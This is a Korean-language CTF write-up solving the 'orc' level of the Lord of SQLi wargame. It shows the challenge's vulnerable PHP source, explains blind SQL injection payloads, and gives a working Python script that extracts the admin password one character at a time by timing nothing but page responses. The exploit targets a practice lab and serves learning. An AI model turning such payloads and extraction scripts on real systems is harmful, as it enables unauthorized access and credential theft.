<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello admin</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");
highlight_file(__FILE__);
?>
기존과 비슷해보이지만 마지막부분을 보면, 실제 패스워드와 비교하는 부분이 있다.
blind-sqli를 통해 하나하나 패스워드를 찾아보면 될거 같다.
우선, pw길이를 찾아보자
?pw=1' or id='admin' and length(pw)=0
id='admin'없이 length(pw)=0만 있다면, 다른 계정의 pw값과도 비교되어 이상한 결과가 나온다.
0 부분을 바꿔가며 찾아가면 식이 마지막 and로 묶인 식이 참이 되어, Hello admin이 출력될것이다.
직접 바꿔가며 노가다를 해볼 수 있겠지만,
나중에 pw 문자 하나하나 찾으려면 상당히 힘들것이다.
참고로 나는 어렸을 때 수첩에 적어가며 해본 경험이..
그리하여 python requests모듈을 이용하여 간단한 프로그램을 만들어볼것이다.
import requests
cookies = {'PHPSESSID' : 'asdfasdfasdfasdf'}
print("find length of pw...")
for i in range(1,100):
url = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=1\' or id=\'admin\' and length(pw) = ' + str(i) + '%23'
res = requests.get(url, cookies=cookies)
print(str(i) + " ... ", end="")
if "Hello admin" in res.text:
len_pw = i
print("0")
print("================================")
print("len : " + str(i))
print("================================")
print("\n")
break
else:
print("X")
본인 쿠키를 넣고, 실행해 보면 결과가 잘 나올것이다.
길이는 8글자임이 확인되었고, 다음은 문자 하나하나를 찾아보자.
substr, left, ascii함수를 사용할것이다
substr함수는 문자열을 잘라주는 함수이다.
하지만, mysql substr함수는 개수를 지정해줄 수 없기 때문에
잘라준 뒤, left함수를 이용하여 한 문자를 뽑아내자.
?pw=1' or id='admin' and ascii(left(substr(pw, 1), 1))=65
65부분과 substr함수 두 번째 인자를 바꿔가며 찾아보면 될듯 싶다.
+mysql 에서 일반적인 문자 자료형은 비교시 대소문자 구분을 하지 않기 때문에, 정확한 값을 위해 ascii 10진수로 변환하여 비교하겠다
import requests
cookies = {'PHPSESSID' : 'asdfasdfasdfasdf'}
print("finding length of pw...")
for i in range(1,100):
url = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=1\' or id=\'admin\' and length(pw) = ' + str(i) + '%23'
res = requests.get(url, cookies=cookies)
print(str(i) + " ... ", end="")
if "Hello admin" in res.text:
len_pw = i
print("0")
print("================================")
print("len : " + str(i))
print("================================")
print("\n")
break
else:
print("X")
full_pw = ""
print("finding full pw...")
for i in range(len_pw):
for j in range(32, 127):
url = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=1\' or id=\'admin\' and ascii(left(substr(pw,' + str(i+1) + '),1)) = ' + str(j) + '%23'
res = requests.get(url, cookies=cookies)
if "Hello admin" in res.text:
full_pw += chr(j)
break;
print("pw : " + full_pw)
print("================================")
print("pw : " + full_pw)
print("================================")
처음 만든 길이 코드와 합쳐서 그럴싸한 프로그램을 만들어보자..! 해서 꾸며봤다.
실행하면 admin pw정보가 예쁘게 나오는 것을 볼 수 있다.
나온 값을 pw로 전달해주면, 풀리게된다.